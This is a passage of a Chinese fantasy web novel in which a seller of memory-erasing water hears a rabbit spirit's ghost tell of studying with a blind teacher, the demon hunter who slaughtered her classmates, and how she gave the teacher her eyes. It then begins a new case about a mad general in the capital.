孟梨食开口道:“他这么伤心,我本该卖他一碗忘情水的,但我得知道发生了什么,这就由你来说吧。”
女孩茫然地看着前方,“……忘情水?”
孟梨食点头,后一秒反应过来对方看不见,道:
“对,喝了忘情水他就会忘掉那段或是悲伤或是快乐的经历,继续生活,我也会帮忙隐藏兔眼,不会再被任何人发现。
“那段经历,也不会再有任何人从他身上去探查。
“不过,如果你不同意,我不会给他的。喝水人是他,但买水人是你。”
“我同意。”女孩的声音轻柔,可以看出她是个可爱、乖巧的孩子。
“我不想让他再自责下去,他会有更好的未来。”她说。
在故事开始前,江余客忍不住问:
“还能为别人买水吗?”
他心底觉得这样不好,这男人什么都不知道,却失去了一段记忆,那段记忆很痛苦,但也有难忘的经历。
孟梨食指尖轻勾,环绕在男人与兔妖魂魄上的红线轻颤,中间一段绕在她指尖。
“也不是什么人都可以,只有拥有最深羁绊的人才行。”她回答对方。
不等对方再问,孟梨食对兔妖道:“开始吧。”
兔妖望着天空——即使眼中一片灰蒙蒙,陷入了回忆……
“我叫兔草草,化形不久。我有个好朋友,叫蝶乐乐,我们准备去人间玩……”
“兔草草,好消息!”
一道粉色身影在绿林间奔跑,身姿跃动,如一只快乐起舞的蝴蝶。
兔草草闻声扭过头,被一个刹不住脚的人影撞上,撞得她眼冒金星。
“什、什么好消息?”她晃着脑袋问。
“村里来了个教书先生,”蝶乐乐兴奋地围着她转悠,“我们不是要去人间吗?刚好可以在先生那学学人间知识。”
“好、好……”兔草草晕得有些站不稳,“乐乐,你能别转了吗?我晕。”
蝶乐乐脚步猛地一停,一把拉住她的手狂奔起来。
“我给你说,好多妖都去了,咱们得赶紧。”
“啊,好多妖都去了,不会被发现吗?”
“不会不会,那个教书先生看不见。”
“看不见……”
学堂就在半山腰上,周围不远处坐落着几间茅草屋,但村子却在山脚。
这些茅草屋里住的都是妖,一些想要融入人间的妖。
学堂前围了不少妖,感觉妖村一半的妖都来了,兴奋地叽叽喳喳。
蝶乐乐紧紧拉着兔草草的手,努力踮脚往里挤。
兔草草不知所措地被对方拉着,在几头半化形的妖之间进退不得,更有不知谁的手肘,一下子撞在她脸上,撞得她眼泪都出来了,好疼。
她想离开这,却在这时,一道悦耳的声音传来:
“感谢大家,大家注意安全,不要拥挤。
“有想学习的可以在我这里登记一下,有问题也可以问我。”
她下意识抬起泪眼朦胧的眼睛,视线却被重重叠叠的背影遮挡。
她眨了下眼睛,眼睛泛出淡淡绿光,瞬间,一切在她眼中都清晰了。
那是个穿着灰布麻衣的男人,长得秀气,神色动作间全是温柔。
只看一眼,她就觉得对方是一个很好的人。
“我!先生,我和我朋友想在你这里学习!”蝶乐乐差点张开翅膀飞起来,手里依旧紧紧握着兔草草的手。
无论做什么,有蝶乐乐在,她就不需要开口,她也害怕开口,但这次,她害怕失去当对方学生的机会,跟着喊道:
“先生,我想在你这里学习。”
她尽力去喊了,但在这片嘈杂中,声音依旧很小。
喊一样话的妖很多,先生努力安抚大家,开始记名字登记。
“大家不要推挤,排队,我会记下你们的名字。”
蝶乐乐赶忙拉着兔草草冲到前面,快速排好队。
兔草草兴奋又激动,她排着队,总忍不住探出身子去看队伍尽头——
先生坐在一张木桌后,桌上摊着本材质极厚的本子,他手里握着一只笔头嵌着刀片的笔。
“你叫什么名字?”他温柔地询问,即使看不见,依旧抬头微笑地对着对方。
“俺叫牛壮壮。”
“好,牛壮壮,明天记得来上课。”他熟练地将名字刻在本子上,刻完又用手抚摸一遍。
“先生好,我叫蝶乐乐!”
“好,蝶乐乐,明天记得来上课。”
“好!”蝶乐乐蹦跳着退到一旁。
兔草草走到桌前,看见先生抬起头,脸上带着微笑问自己:“你叫什么名字?”
“我叫兔草草。”
“嗯,兔草草。”先生刻下名字,笑道:“你们这里的人,名
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字都很有意思。”
兔草草不知道回什么,呆愣地退到一旁。
“大家明天早要准时来上课。”先生抬头道。
“好!”
兔草草好奇地看着先生,看着他刻下来的字,以后她也会学习这些字吗?
正看得出神,手臂猛地被人抓住,她被蝶乐乐拉出了妖群。
“要走了吗?”兔草草心中不舍,她还想多看看先生。
“我们要去准备束脩呀!”蝶乐乐回答。
“什么是束脩?”
“束脩……嗯,就是给先生的工钱,先生总不能白教我们吧,他也要吃饭的。”
兔草草懂了,她将不多的钱币拿出来,这些钱币是她和蝶乐乐为去人间准备的,不过以后还有机会再准备。
她还准备了一些食物,又去找蚕妖换了些布匹,第二天随着大家来到私塾,将束脩交给先生。
落座后便是第一节课。
他们到时发现每张桌案上都摆放有帖子、毛笔等。
每只妖都是一脸新奇,迫不及待落座,好奇地伸手摆弄毛笔或是书本。
两张桌案摆在一起,每两张之间隔着过道。
蝶乐乐拉着兔草草落了座便将所有心思放在桌案上的东西上,兔草草扫了一眼,视线落在先生上。
今天是第一天上课,她特意穿了件较新的衣裳,虽然先生看不见,但她还是想穿。
而先生今天也换了件衣裳,是淡青色的,站在那里,像竹子,看着瘦弱,但却笔直。
“开堂第一课,我会教大家学写‘人’,人的含义,一撇一捺,相互支撑。”
兔草草听得专注,突然听见身旁的人凑近笑道:
“人诶,我们就是要学做人。”
兔草草想,蝶乐乐说的“做人”和先生说的好像不太一样。
“我会一个个教你们学写这个字。为学先为人,同时,我也希望大家能做一个堂堂正正的人。”
“嘿!我会做一个堂堂正正的妖!”蝶乐乐一脸认真道,但眼里依旧透着笑意。
先生先写了遍“人”字,深入讲解完,便一个个握着学生的手,在描红帖上落笔。
望着越来越近的先生,兔草草紧张地将背挺直,视线都黏在桌案上,却又忍不住抬眼去看对方走到哪了。
她眼神一偏,看见前面那家伙的尾巴露了出来,拖在过道上。
先生看不见就这么放肆吗?要是把先生绊倒怎么办?
兔草草盯着那条欢快摆动的尾巴,又看看弓着身,握着别人手描帖的先生,轻轻戳了戳前面人的后背。
“干嘛啊?”牛壮壮扭过头。
兔草草被对方不耐烦的神色吓了一跳,全身都颤了颤,却依旧指着过道上的尾巴轻声说:
“你尾巴会绊倒先生的。”
这时,先生抬起头,朝这边看来,“怎么了吗?”
牛壮壮忙转过身,咻地将尾巴收回来:“没事没事!”
先生笑了笑,“大家可以自己先练习一下。”
终于,先生走到兔草草身边,笑问:“练习得怎么样?”
兔草草慌忙道:“嗯嗯。”
先生握着她的手,在描红帖上缓缓落笔,一撇一捺。
兔草草悄悄咽了咽口水,又担心自己咽口水的声音太大,但很快,她的思绪被引开。
她闻到了先生身上的香气,是种淡淡的草药香,还混着书本油墨的气味,好闻。
先生松开手,“会了吗?再练习一下吧。”
“嗯!”
9. 教书先生与兔妖(2)
下了学堂,蝶乐乐兴奋地在前面又蹦又跳。
“嘿,我今天学了好多字,我都记住了!我要大吃一顿庆祝一下!”
兔草草笑着跟在后面,她也将今天先生教的字学会了,先生教的真好。
她不舍地看了眼学堂,猛地看见先生正艰难地搬着学生带来的束脩,忙顿下脚步。
“我和其他妖都邀好了,今晚在古树下宴饮,咱们快点!”蝶乐乐脚步更快了,看起来是恨不得张开翅膀飞过去。
“你先去吧,我等下来找你。”兔草草匆匆说着,倒转身往回跑。
“啊?”蝶乐乐看着跑向学堂的人,嘀咕道:“是忘带东西了吗?那我先过去了?”
“先生!”
兔草草一口气跑了过去,嗒嗒脚步声伴着她轻微的气喘声。
“是兔草草吧?”先生抬起头。
“先生知道是我?”兔草草惊讶道,旋即又忍不住心生喜悦。
“我记得你的声音,今天在学堂上你也回答了几个问题,回答得很好,声音再大些就更好了。”
兔草草更高兴了。
她望着堆成小山的东西,肉干、水果、布匹,还有钱,多得她眼花缭乱,不由轻声道:“这么多啊!”
“是啊。”先生露出微笑,神态中有些为难,“大家太热情了。”
“我帮先生搬。”
东西虽多,但每一样单拎起来也不重,先生也就没有阻止,笑着道了声谢。
“我卧房就在前面,与学堂隔了个院子。”
他刚说完,便觉得有一阵风拂过。
兔草草拎着几条肉干飞快跑过去,身影几乎化为一道残影,没多时又跑回来提起一篮水果。
“别跑这么急!”先生抱着东西急忙跟上,叮嘱道,“注意别摔着!”
兔草草只想跑快些,她多跑几趟先生就能少跑几趟。
日头彻底落下,天边染上紫色,两人终于将东西都转移到先生卧房里。
兔草草喘着气,看着同在喘气的人道:“先生休息,我给先生倒水。”
先生忙摆手,“不用不用,你也坐着休息会。”
他喘了几口气,走进卧房另一侧,拿出包东西出来。
“来,这个给你。”
“这是什么?”兔草草抬手接过。
“糕点,”先生笑道,“谢谢你今天帮我。”
兔草草将糕点抱在怀里,眨巴着星星眼,轻轻摇头道:“不用谢,先生真好。”
先生轻笑起来,觉得这个孩子真是乖巧可爱。
“好了,赶紧回去吧,别让家里人担心。”
兔草草怀里紧紧抱着糕点,脚步轻快,她觉得自己有一种要飞起来的错觉。
夜间的风很凉快,点点萤火虫在小路上飞舞。
她忍不住笑了起来,先生真好,真的特别好!
早晨,学堂传出朗朗读书声,为这座妖村添上一份生气,这是往日从未有过的场景。
学堂里的学生摇头晃脑地跟读,一脸认真,更有人读上头,将尾巴左甩右甩,跟着脑袋晃动。
先生背着手走在过道上,面露微笑地听学生们朗读。
读完,他问:“谁能背一下?”
学堂内瞬间安静了,昨天下午学的,今早就要背,怎么背得出来嘛。
见大家都不说话,兔草草小声道:“我。”
即使她声音再小,先生也总是能捕捉到。
“兔草草很刻苦,真不错!”
兔草草害羞地露出浅浅笑容,站起身,努力将声音提高一度:
“人之初,性本善。性相近,□□……”
学堂里只剩下她的朗读声,每个人都看向她,神色专注地聆听。
兔草草从未体验过这种“万众瞩目”的感觉,她既害怕又激动,声音微微发颤。
读完,她坐了下来,先生感叹道:
“大家要向兔草草学习,要及时温习上堂课的内容。”
“是!”大家齐声回道。
课后,大家都赶着去吃饭,蝶乐乐起身,一股脑将东西收进布袋里,招呼对方:
“走,吃饭去!”
“不了,我想去陪陪先生,他眼睛不好。”
没有眼睛,做什么都不方便,先生独身来到这里,遇见麻烦的时候都没有人可以求助。
兔草草心中觉得对方可怜,所有感官中,她最不愿失去的就是看见。
失去眼睛,就不能看见这山这水,也不能看见在意的人了。
“那好吧,”蝶乐乐耸耸肩,“我先走了,需要我帮你准备些吃的下午带过来吗?”
兔草草笑道:“两个水果就好。”
先生静静地站在门口,与每一个离去的学生告别。
他望向远方,眼睛睁得那么大,却什么也不能看见。
他不知道,下了学堂的学生纷纷露出本体,甩着尾巴,露出獠牙或各种耳朵离开。
他不知道,学堂右侧有条山路,通往一片茂密的树林,那里的一棵树,一个石洞,一个土坑就是学生的家。
他不知道,身处半山腰的景色有多美,远山重叠,白云镶嵌蓝天,一条蜿蜒的小河从山涧流淌。
“先生,下午见。”蝶乐乐扇着翅膀从对方眼前飞过。
清风扑在脸上,先生笑道:“下午见……刚才起风了,挺凉快的。”
他要等再没有听到脚步声和谈话声,也就是确定每个学生都离开后才会走。
等其他人都离开,兔草草才起身,来到先生面前。
“先生,大家都走了。”
先生闻声微低下头,“看着”对方,“好,你也赶紧回去吧。”
兔草草无声地摇头,“先生,我陪你,我会做饭。”
“我自己可以做的,不用担心我。”先生摸索着,将手放在对方脑袋上。
“谢谢你。”
“我也谢谢先生,先生教我知识,教我做人。”
兔草草执着不肯离开,先生无奈地叹了口气,朝她伸出手:
“那陪我吃顿饭吧,等你亲眼看见我做饭就能放心了吧?”
兔草草牵住他的手,往前多走半步,引着对方往前走。
她盯着地面,顺便把路上的石头踢开。
“我记忆力很好,这条路我走了两遍,不用拐杖就能走了。”
先生说着,抬头“看向”前方,走得极其稳定,没有一下是磕绊的。
兔草草望着对方,视线落在对方眼睛上。
“先生的眼睛……”
先生笑道:“被歹人害了,不过我习惯了。”
他轻飘飘一句习惯了,却不知这习惯的过程有多么艰辛。
他的习惯不仅限于走路,哪怕看不见,他也能写出好字,也能做出一顿不错的饭。
兔草草本来想给对方准备午饭的,反被对方按着坐在椅子上,看着对方熟练地忙碌。
不多时,午饭做好了。
先生饮食清淡,平日就是些粥配小菜,今日兔草草到来,特地加了道炒肉。
这肉还是学生送来的肉干。
不过兔草草不吃肉。
吃完饭,兔草草又帮对方整理书房。
先生的书房里好多书,比住她家旁边那只松鼠存的粮还多。
先生摸着书本,但连这本书叫什么名都不知道。
他叹了口气,对兔草草道:“有喜欢的吗?先生送你。”
她才学了几个字,这些书她都看不懂。
先生有些遗憾地拂过一排书脊,“这些书落在我手里也没了作用,原先我刻苦钻研它们,就为考个功名,现在也考不了了。”<
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兔草草心里一阵痛,“先生的眼睛真的治不好了吗?”
先生苦笑着摇头,“不过,我可以将这些知识传给你们。
“日后你们走出这偏僻之地,去参加科举,也算完成我未完成的心愿。”
兔草草听得更加难受了。
“后来,我成为先生的小尾巴,时时陪着先生。”兔草草的魂魄轻声道。
孟梨食正想干脆利落说一句“转折呢”,余光却见小魂和那个侠客听得认真,她难得体贴一次,任对方继续说下去。
“我陪着先生赏月,他看不见月亮,我就给他描绘,他教我诗句,关于月亮的诗句。
“下了学堂,先生就坐在院子里,我就给他说我和伙伴在林子里玩了什么,他总是笑着听我说。”
在悲伤之前,总是有段快乐日子,同样,在快乐之前,也有一段悲伤日子,正因为有彼此衬托,那段日子才如此难忘,刻骨铭心。
“先生。”
“来得正好,”先生转过头,朝来人招手,“要不要和我去山下?”
兔草草走近,疑惑道:“去山下做什么?”
先生一手搭在书架上,细细摸索着,抽出两幅画卷。
“我打算卖些字画,换些钱给你们买些笔墨纸砚。”
“可这些字画……”
先生笑笑,将手里的字画递给她,又从书架里抽出几卷。
“反正我也看不见,不如把它们卖了,等回来,再给你们一人买串糖葫芦。”
“糖葫芦?”
兔草草听出过森林的妖说过,糖葫芦酸酸甜甜的,可好吃了。
她咽了咽口水,摇摇头,“先生,我们不要糖葫芦,你把字画留下来吧。”
先生将几卷字画抱在怀里,腾出左手摸摸对方脑袋——即使看不见,这个动作他也很熟练了。
“放着也是占地,而且,我还有很多字画呢,就卖几幅。”
他牵着兔草草,一步步下山。
那是兔草草第一次离开森林,也是她第一次看见这么多人,满街都是人啊。
她瑟缩在先生大腿后,小心地打量这个陌生环境。
但她马上意识到,这个环境对于先生而言同样陌生,她鼓起勇气站出来,牵着先生的手。
“先生,我们接下来去哪?”
“咱们随便找家店,问问附近哪里有人收字画。”
兔草草按对方说的,找了家布行,得知有家书肆,就在前面不远处。
“先生,问到了,就在前面,我带着你去。”
她主动拉起先生的手,感到肩上担着沉重的使命。
她会做好一切,不让先生操心。
到了目的地,后面的价格交谈就由先生出马,但兔草草也在努力学习。
卖完字画,他们就在店里把笔墨纸砚买了。
先生看不见,就用手指一个个去摸,兔草草站在一旁瞪着眼睛看,虽然她也不知道自己在看什么。
她努力把眼睛睁大,也许是想告诉这的店家,她看着一切,不能因为先生看不见欺负他。
她感觉自己长大了,因为有想保护的人,所以很快就长大了。
买完字画还剩不少钱。
“我们去找找卖糖葫芦的。”先生道。
他刚说完,一直在偷偷寻找的兔草草扬声道:“先生,前面就有!”
“好,”先生的声音也轻快起来,“咱们赶紧叫住他。”
最后,先生扛着糖葫芦的草耙子,左手牵着兔草草回去了。
笔墨纸砚他买的多,店家主动派人送过去。
草耙子上插着十多支糖葫芦,而兔草草右手被对方牵着,左手拈着根糖葫芦吃得满脸欢喜。
先生说这是奖励她的,她今天帮了先生大忙,回去后她和大家一起,还有一根。
10. 教书先生与兔妖(3)
“也是在那天,蝶乐乐离开了,之后我再未见过对方。”兔草草轻声道。
“她离开也好,最起码,她应该还活着。”
“乐乐!”兔草草在林间呼喊,左右手各捏着一根糖葫芦。
“在这呢。”
声音从高处传来,兔草草一抬头,果然看见对方站在树枝上。
树上有个洞,里面就是蝶乐乐的家。
“先生给我们买了糖葫芦,你怎么没去学堂?”兔草草仰头看她。
“嘿咻!”
蝶乐乐翅膀忽的一张,身体轻盈地跃下。
“我觉得我能出师了。”
她接过对方递来的糖葫芦,轻轻咬了一口,眼睛顿时亮了。
“等我去到人间,我要天天吃这个!”
“你要走了吗?”兔草草眼中流露出不舍。
蝶乐乐可疑地看向她,“我们已经在学堂学了很久了,怎么,你不和我走?”
见对方犹豫、沉默,蝶乐乐不可置信道:“我们不是约好了吗?”
“……我还没学好,再待几日吧。”
“你学的比谁都好。”蝶乐乐盯着对方,看着对方脑袋一点点垂下去,她叹了口气。
“我知道,你是担心先生,随便你,你不去我自己去。”
她说着,翅膀一张再次回到树枝上。
兔草草急了,“你别生气,过几日我就去找你,我一定去!”
“嘻嘻!”蝶乐乐转身看着她,俏皮地眨眼,“谁告诉你我生气了,我早就猜到你不想走了。”
“什么?”
“我是这样打算的,多跟先生学点知识总不是坏事,但先生不也说了,读万卷书,行万里路吗?”
她指着对方,“你,读万卷书。”又指指自己,“而我,就去行万里路。”
她爽朗地笑了起来,“我先去人间打探情况,你就在书里打探,等你日后来找我,我肯定在人间混出了名堂,到时候带着你到处玩。”
看着对方尽兴的笑,兔草草松了口气,也笑了起来。
她看见蝶乐乐眼中的星辰,知道对方是个渴望冒险的蝴蝶,那便去吧。
“那你怎么给先生说呢?”兔草草问。
“诶呀,他不会注意到的,就算发现了,你帮我应付一下。”
兔草草正想说你不如告诉先生你要休学,却听对方语气带着一丝不舍道:
“毕竟,我也会偶尔回来看你们的。”
兔草草懂了,她陪着对方将糖葫芦吃完,就此分开。
“没想到,那是我们最后一次见面。”兔草草声音带上哽咽。
孟梨食觉得对方说的差不多了,便道:“转折呢?”
“转折?”对方愣了一下,接着打了个冷噤,痛苦道:
“就在一个月后……一个降妖师突然到来。”
兔草草望着身旁空下来的桌案,这是蝶乐乐离开的第一个月,也不知道对方在人间过得好不好。
她和对方从小长大,最清楚她的性格,即使是受了委屈,也只会独自吞下。
她越发担心了,她计划着和先生请个假,去看看蝶乐乐。
做完决定,她很快收回神,继续聆听先生的话。
几个月过去,大多数妖都没了一开始的热情,开始偷偷聊天,或者在纸上画小人。
但先生依旧专注认真,兔草草知道,下了学后先生还会备课许久,为下堂课做准备。
就在这时,一个男人突然闯了进来。
望着眼前情景,男人愣住了,旋即迅速反应过来,扔出手中的铜镜。
铜镜在空中变大,凡是被它照到的人都变回原形。
一下子,学堂里出现了狐狸、鸟、牛等各种动物,各种叫声混杂在一起。
“大胆妖孽,光天化日竟敢出来作孽!”
大家慌乱地散开,桌案上的东西被碰到了地上,发出惊人闷响,伴随大家急促的脚步声和惊呼声。
“怎、怎么回事?”
先生被什么东西撞了一下,一下子跌在地上。
降妖师双手捏诀,设下天罗地网,将整座妖村罩住。
同时,他朝空中甩出一把金针,金针瞬间化作道道流星,朝四面八方散去。
马上,四处传来惨叫与各种动物的嘶鸣。
“早就注意到此处妖气极重,果然不出所料。”
他说完,注意到还有个人,转身走去。
“你既是人,为何与妖为伍?”
先生声音发颤问:“你在说什么?什么妖?”
降妖师意识到什么,抬手在对方眼前挥了挥,“你看不见?”
先生抬起头,眼里只有一片黑色。
“你以为你在教什么?一群孩子吗?它们是一群妖孽!”
先生如遭雷击,刚站起身的身体晃了晃,险些跌回去。
“你在说什么,他们怎么可能是妖?”
“怎么不可能?我是降妖师,我连人和妖都分不清了?”
兔草草原本朝着学堂外跑,却被一道金光打中,胸口处溢出大量鲜血。
她开始头晕眼花,知道自己跑不掉了。
在即将迈入地狱之门前,她忍不住扭头看过去,看见先生单薄的身体突然直立起来,拦在降妖师身前。
先生声音发颤,却依旧强硬道:
“是妖又如何?它们都是好学生,没做过伤天害理的事!”
她看着对方单薄的背影,真的很像一根竹子,像竹子一样瘦弱,但也像竹子一样挺拔。
这还是她第一次听见对方这么大声且强硬地说话。
“噗!”
胸口猛地一痛,接着一口鲜血喷了出来。
兔草草身体一晃,重重摔在了地上。
她倒下的同时,余光见先生被降妖师一巴掌挥开,撞在一张桌案上。
好在,降妖师没有要杀对方的意思。
兔草草艰难地抬起手,将自己的眼睛挖了出来,藏在桌案下面。
许久后,呼喊与呻吟都消失了,世间被一阵令人窒息的寂静笼罩。
降妖师走后,两颗眼珠在暗处飘了出来,没入先生眼内。
兔草草死了,但她死的不甘心,她的一缕魂魄不愿去到地府,附在眼珠上,跟在先生身后。
她看见先生睁开了眼,时隔多年,再次看见了这个世界。
但对方看见的第一眼,却是满地的尸体。
降妖师剖走了他们的内丹,将尸体扔在此处。
她看见先生趴在地上怒吼、大哭,眼泪像山里的溪流一样流淌下来。
她看见先生哭了许久,慢慢起身,抚摸着他们的尸体。
这是很狰狞的尸体,每一
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具都像在血池里滚过,更何况,这是妖的尸体。
每具尸体上都有妖的特征,无论是兽耳还是尾巴,都显得这么怪异和恐怖。
最后,先生来到她尸体面前。
她的两只兔耳露了出来,其他的倒与人一样。
她害怕自己的尸体会吓到对方,但好像没有,先生没有惊叫,而是无声地哭泣。
“我一直想看看你们长什么样子,我想你们会是很乖巧的,但没想到,会是以这种方式实现。”
他无神地喃喃自语:“我不在乎你们是人是妖,我看不见,却更能看见你们的心,你们都是很好的学生,是我的学生。”
跟在先生后面的魂魄也在哭泣,兔草草无声地说:
“先生也是很好的先生,是世界上最好的先生。”
兔草草的魂魄随着对方而动,她看见先生挖坑将他们掩埋,又将学堂整理好,将血迹擦了。
做完一切,天黑了又亮。
一切又回到最初的样子,只是学堂里只有一位先生,再没有了学生。
后来,先生仍旧生活在这里,像要守着什么,或者等着什么。
明明能再次看见这个世界的色彩,可他的心让他看见的一切都变成了灰色。
兔草草看得难受,她希望对方离开这,带着他的字画,回到人间,去科举,去考取功名。
但没有,先生压根没有离开的意思。
“后来,又一个降妖师路过这里,发现先生的眼睛是兔眼,接下来就是你们遇到的了。”
说完,兔草草呼了口气,脸上难过的已经麻木了。
孟梨食点头,“嗯,看来这位先生很需要一位忘情水。”
她习惯性地推销:“忘情水,一碗解忧愁,现在购买,享半折优惠。”
正悄悄抹眼泪的小魂:“……”
兔草草:“……可我只剩一缕魂魄,没有钱。”
“……”孟梨食噎了片刻,她记得上一个买水人也是没钱。
“算了,无的一半也是无。”
她说着,右手一抬,一只棕色瓷碗出现手中。
“喂他喝下,他就会彻底忘记在这经历的一切,你确定了?”
“我确定,我不想让他自责下去,先生会有更好的未来。”
孟梨食点头,将碗塞进江余客手里,抬下巴道:“喂给他喝。”
“哦。”江余客下意识就去做,压根没发现什么不对劲。
孟梨食倒有些意外,没想到这么好使唤。
“待会我会将兔眼的气息隐藏,”孟梨食看向兔草草,“至于你,我送你去地府吧,魂魄不全,来世会变成短命傻子的。”
“谢谢你。”
孟梨食摆手表示不客气,也不管对方看不看得见。
“对了,”兔草草想到什么,神色担忧道,“如果你们以后看见了蝶乐乐,麻烦告诉她,要照顾好自己。”
“……我记下了。”
孟梨食抬手,环绕在一人一魂身上的红线被收回,接着,兔草草停留在人间的魂魄渐渐消散。
一会后,江余客站起身,手里拿着空碗,“那现在呢?”
孟梨食望着暗沉的天空,“天都黑了,把他安置在他自己的卧房里,你随便找间屋子睡一晚,就这样。”
说完,她往前走去,自顾自去找过夜的地方。
11. 将军与将军(1)
第二天,日上竿头。
孟梨食打着哈欠起身,边伸着懒腰边走到门边。
小魂幽幽道:“你可算醒了,那位已经走了。”
“走就走呗,还要给我报备?”
小魂摇头,真是没有对比就没有伤害,那位天没亮就起了,你却睡到大中午。
“他起来后还去看了那位先生,不过他去的太早,先生还没醒。”
小魂跟在孟梨食后面,继续汇报:
“然后他来找你,见你还在睡等了许久,你依旧没醒,他就走了。
“对了,那位先生不久前也走了,不知道会去哪,看起来倒很正常。”
孟梨食点头,卖完水,之后的事就和她没关系了,对方想去哪想干嘛,她没心思知道。
她站在茅屋前眺望远方,视线落在山脚小镇上,接着挪远,瞥见繁华城市一角。
“那里应该是俞国的国都了。”
小魂顺着对方视线看去,只能勉强看见一道城墙。
“走,去那看看,大城市,伤心人肯定多。”
小魂也不知道对方这个结论是怎么得出来的,但对方去哪,它只有跟着的份。
两人马不停蹄跋涉三日,终于进入这繁华国都。
望着眼前繁华之景,孟梨食舒坦地叹了口气,“这才叫人间啊,咱先去酒楼大吃一顿!”
小魂望望四周,心中奇怪,它记得那位少年也是往这个方向走的,目的地应该和他们一样,怎么一路都没看见人呢?
它就走神一会,一眨眼,孟梨食人没了!
它急促地在人流中飘荡,大声呼喊,整个魂仿佛被世界抛弃,孤苦又无助。
这时,一道声音出现在身后。
“怎么了?”
它惊讶回头,刚在想的人就出现在眼前。
江余客抱着剑,扫了对方一眼,没看到另一个人影,“你和她分开了?”
小魂委屈地撇嘴,“是啊,一眨眼就不见了。”
“那……”江余客皱着眉,“你打算怎么找到她?有计划好要去哪里吗?”
小魂叹了口气,“她说要去酒楼,但这里酒楼那么多,一家家去找也不太可能。”
江余客想起对方召唤出的红线,问:“你和她之间应该有羁绊吧,把红线召出来,顺着找过去呢?”
这是个很聪明的方法,然而,小魂道:
“孟梨食,她,有些特殊,没有人和她有羁绊。”
江余客愣住了,他以为人活世上,总会和他人或深或浅地建立联系,进而拥有羁绊。
“孟梨食说,人活世上,就是缠一身羁绊,每一根红线都是从心里长出来的,要是哪个人没了,红线断了,心也会被挖去一块。”
小魂说得沉重,“所以,她早早就把自己的羁绊斩断,无论那些人曾经出现,还是以后出现。”
江余客莫名的有些心情沉重,这样的话,茫茫人海,他也没法帮对方找到要找的人。
“不过……”
小魂忽然话锋一转,眼睛直勾勾看向江余客。
“我总有种感觉,你马上就会再遇见她。”
江余客不解:“为什么?”
“不知道,一种感觉而已。”小魂摇头,它自己也不知道为什么,真的,只是一种感觉。
“那……”
“所以,能让我跟着你吗?”小魂眨着眼睛看向对方,它的形象本就有可爱属性,稍微伪装一下,更是萌的没人能抵抗得住……
除了孟梨食。
“好吧,不过我听说这几晚有贼人在定阳巷出没,我准备将他擒住,你……”
小魂忙道:“我也跟着,不会给你拖后腿的!”
此时,青云酒馆一楼。
孟梨食打了个响指,高声喊:“小二,再来壶佳酿!”
“得嘞!客官稍等。”
她把手边的空酒壶推到一旁,伸手夹菜,吃得津津有味,压根没意识身边少了什么。
“听说那位将军又发疯了。”
孟梨食夹菜的手一顿,半秒后将菜送进嘴里,目不移视。
这就是她来酒馆的另一个原因,酒馆客栈,向来是情报收集之地。
“我也听到了,昨晚路过定阳巷的时候吓了一跳,疯的更厉害了!”
“客官,酒来了。”小二笑着将酒放下,见对方僵在原地,又说一声。
孟梨食回过神,朝他挥手,“下去吧。”
她为自己倒了碗酒,依旧聚精会神地听隔壁谈话。
“是中邪了吧?”
“我看是伤到脑子了,自从上次和晟国大战,回来就这样了。”
男人叹了口气,语气里满是惋惜,“要是将军没疯,凭那次大战创下的丰功伟绩,早就裂土封侯,世袭罔替了!”
“别说丰功,能活着就不错了。”
另一男人灌了口酒,道:“听说将军还多次寻死,要不是有人看着,恐怕……害!”
“你们说说,咱们俞国好不容易出了位神将,在上次大战中将晟国打得落花流水,更是将敌国将军斩于马下,怎么会发生这样的事?!”
孟梨食眼骨碌一转,心里已经有了安排,今晚,定阳巷,俞国将军。
当晚。
孟梨食蹲在墙角,将自己整个隐藏在阴影中。
经她打听,墙内就是将军静养的地方了,不过具体位置就不是能在酒馆打听得到的。
“小魂,进去查探一下。”
孟梨食想也没想地喊,一两秒没听见回话,她愣了一下,这才反应过来,小魂不知道跑哪里去了。
白天在酒楼时就没看见对方。
“说好的监督我,跑哪去了?”
孟梨食抱怨一句,脚下用力,一个轻功踏上墙头。
她弓着身,像在夜间行走的猫,一步步往前挪动。
院内近乎灯火通明,每间屋子都点着蜡烛,更有巡逻队沿着固定的路线巡逻,手中的长矛尖泛着寒光。
孟梨食皱着眉,正思考如何寻到那位将军的卧房,余光忽然瞥见一道黑影。
她心中一惊,下意识以为是自己暴露了,下一秒,出现在墙头另一端的黑影一闪,如阵风般从她身旁擦过。
孟梨食一个没反应过来,被撞得从墙头跌落。
猛地,她看见墙下站着一个人,对方瞪大的眼睛在视野内放大,接着,对方快步靠近,张开了双手。
孟梨食腰间用力,在半空调整好姿态,右脚不轻不重踩在对方肩头,稳稳落地。
江余客依旧保持着张开手往前跑的动作,脸上的慌张仿佛凝固。
孟梨食拍拍手,呼了口气,好险,差点就摔了个狗啃泥。
江余客握了握拳头,放下手臂。
“孟梨食,我终于找到你了!”小魂兴奋地飘过来。
孟梨食一见到对方就来气,“你跑哪去了?”
“是你走太快了,我被你落下,怎么都没找到你。”小魂委屈得不行。
江余客走了过来,没想到真让小魂说中,这么快他就碰到了对方。
孟梨食扫了江余客一眼,“你们俩怎么在一起?”
“我偶然碰到他,想着跟着他能找到你,果然让我找到了!”小魂像有了惊天发现般,兴奋不已。
孟梨食听得一脸狐疑,一把抓住对方,“什么叫跟着他就能找到我?”
小魂本是一团魂,凡人碰不到它,但孟梨食身为地府打工者,不是魂,抓着它就像抓着条扑腾的鱼一样。
“直觉嘛,我就觉得你们很有缘分。”
孟梨食一把将它甩开,不悦道:“谁和他有缘分?”
“对了,”孟梨食猛地一惊,“那黑影是什么东西?
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”
“是贼,他在追贼。”小魂在空中滚了一圈,又慢慢飘过去。
“不过,你怎么在这?”它问。
孟梨食抱臂,很不满对方的不务正业,“干正事。”
小魂“哦”了一声,“你找到买水人了?谁啊?”
孟梨食朝围墙那边抬抬下巴,“俞国将军。”
她简单将情况说了,小魂表示得令,一个闪身越过围墙,进去探查情况去了。
现在现场只剩下孟梨食和江余客,两人面面相觑,后者先移开视线。
“你不去追贼了?”孟梨食盯着对方。
江余客挠挠脸颊,视线不由的偏移,“现在追也追不到了,也许你这里需要我帮忙。”
孟梨食猜对方就是想听故事,她懒得多说,毕竟将军发起疯来她不一定招架得住,对方还是有些作用的。
没过多久,小魂回来。
“查到将军卧室了,屋里没其他人,好机会!”
孟梨食看了江余客一眼,对小魂道:“前面带路。”
她动作干净利落地跃上墙头,眨眼间没入黑暗。
江余客惊叹一声,没想到对方身手这么好,连忙跟上。
两人一魂如夜间幽魂,在黑暗中迅速穿行,只有空气的快速流动显示着有人闯入这座小院。
“就在前面。”小魂躲在拐角处,对紧跟而来的两人道。
